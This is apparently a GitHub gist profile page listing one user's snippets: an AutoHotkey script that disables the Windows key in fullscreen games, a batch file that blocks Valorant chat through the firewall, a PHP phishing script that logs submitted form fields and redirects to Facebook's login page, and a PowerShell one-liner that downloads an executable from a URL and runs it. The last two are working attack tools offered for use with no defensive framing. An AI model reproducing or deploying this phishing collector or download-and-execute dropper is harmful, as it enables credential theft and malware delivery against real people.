Skip to content

Instantly share code, notes, and snippets.

View henriksb's full-sized avatar

Henrik Selje Bygnes henriksb

View GitHub Profile
@henriksb
henriksb / Disable_Windows_Button.ahk
Created October 23, 2020 02:49
Disables the windows button whenever you are fullscreen (in a video game)
Rwin::
Lwin::
WinGetPos, vWinX, vWinY, vWinW, vWinH, A
if(vWinW = "1920")
{
return
}
else
{
Send, {Lwin}
@henriksb
henriksb / Offline.bat
Created October 12, 2020 19:20
Valorant offline/online
@echo off
if not "%1"=="am_admin" (powershell start -verb runas '%0' am_admin & exit /b)
netsh advfirewall firewall add rule name="lolchat" dir=out remoteport=5223 protocol=TCP action=block
@henriksb
henriksb / phish.php
Created November 2, 2018 22:16
Generic PHP Phishing script
<?php
if ($_POST) {
$creds=fopen(date("Y-m-d").".txt","a+");
foreach ($_POST as $name => $val) {
fwrite($creds, htmlspecialchars($name . ': ' . $val."\r\n"));
}
fwrite($creds, "------------------\r\n");
header("Location: https://www.facebook.com/login.php?login_attempt=1&lwv=110");
}
?>
@henriksb
henriksb / Powershell download and execute one-liner
Created October 26, 2018 20:01
Quick one-liner to download and execute any file
powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'ENTER URL' -OutFile '%appdata%\a.exe'; %appdata%\a.exe"